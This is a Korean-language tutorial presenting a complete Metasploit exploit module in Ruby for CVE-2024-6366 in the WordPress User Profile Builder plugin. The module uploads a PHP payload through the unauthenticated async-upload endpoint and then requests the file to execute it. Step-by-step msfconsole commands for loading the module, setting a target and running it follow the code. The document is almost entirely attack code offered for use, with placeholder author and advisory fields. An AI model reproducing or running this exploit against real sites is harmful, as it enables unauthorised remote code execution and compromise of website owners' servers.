
Metasploit 익스플로잇 모듈로, CVE-2024-6366을 대상으로 합니다. 이는 WordPress User Profile Builder 3.11.8 이전 버전에서 인증 없이 파일 업로드를 통한 원격 코드 실행 취약점으로, PHP 페이로드를 업로드하고 실행합니다.
User Profile Builder WordPress 플러그인 버전 3.11.8 이전의 RCE 취약점을 익스플로잇하기 위한 Metasploit 모듈을 만들려면 미디어 파일 업로드 기능에 적절한 인증이 없는 점을 활용해야 합니다. 다음은 이러한 Metasploit 모듈을 생성하는 방법입니다.
다음 코드를 Metasploit Framework 설치 폴더의 modules/exploits/unix/webapp 디렉토리에 wordpress_user_profile_builder_rce.rb로 저장하세요.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress User Profile Builder Unauthenticated File Upload RCE',
'Description' => %q{
This module exploits a vulnerability in the User Profile Builder WordPress plugin before version 3.11.8.
The plugin does not have proper authorization, allowing unauthenticated users to upload media files via
the async upload functionality. This can be leveraged to upload and execute a malicious PHP payload.
},
'Author' =>
[
'Your Name' # OneArch
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2024-6366'], # Replace with the actual CVE identifier
['URL', 'https://example.com/advisory'] # Replace with an advisory link if available
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'WordPress User Profile Builder < 3.11.8', {} ]
],
'DisclosureDate' => 'Aug 03 2024',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [ true, "The base path to the WordPress installation", '/']),
])
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
})
if res && res.body.include?('wp-content/plugins/user-profile-builder')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def exploit
php_payload = "<?php #{payload.encoded} ?>"
data = Rex::MIME::Message.new
data.add_part(php_payload, 'application/octet-stream', nil, "form-data; name=\"async-upload\"; filename=\"#{Rex::Text.rand_text_alpha(8..12)}.php\"")
data.add_part('1', nil, nil, 'form-data; name="html-upload"')
data.add_part('Upload', nil, nil, 'form-data; name="upload"')
print_status("Uploading PHP payload...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'async-upload.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
})
if res && res.code == 200 && res.body.include?('.php')
php_path = res.body.match(/(\/wp-content\/uploads\/[0-9]+\/[0-9]+\/.*?\.php)/)[1]
print_good("Payload uploaded successfully: #{php_path}")
register_files_for_cleanup(php_path)
execute_command("#{php_path}")
else
fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
end
end
def execute_command(php_path)
print_status("Executing PHP payload...")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, php_path)
})
end
end
모듈 저장:
모듈을 Metasploit Framework 설치 폴더의 modules/exploits/unix/webapp 디렉토리에 wordpress_user_profile_builder_rce.rb로 저장합니다.
/path/to/metasploit-framework/modules/exploits/unix/webapp/wordpress_user_profile_builder_rce.rb
Metasploit 로드: 터미널을 열고 다음을 실행하여 Metasploit Framework를 시작합니다.
msfconsole
새 모듈 사용: Metasploit 콘솔에서 다음 명령을 사용하여 새 익스플로잇 모듈을 로드합니다.
use exploit/unix/webapp/wordpress_user_profile_builder_rce
구성 및 실행:
RHOSTS와 TARGETURI 같은 필요한 옵션을 설정한 후 익스플로잇을 실행합니다.
msf6 > use exploit/unix/webapp/wordpress_user_profile_builder_rce
msf6 exploit(unix/webapp/wordpress_user_profile_builder_rce) > set RHOSTS target_ip
RHOSTS => target_ip
msf6 exploit(unix/webapp/wordpress_user_profile_builder_rce) > set TARGETURI /
TARGETURI => /
msf6 exploit(unix/webapp/wordpress_user_profile_builder_rce) > run
이 Metasploit 모듈은 취약한 WordPress 설치에 악성 PHP 파일을 업로드한 후 실행하여 원격 코드 실행을 달성합니다. 취약점의 특성과 대상 환경에 따라 페이로드와 모듈을 필요에 맞게 조정하세요.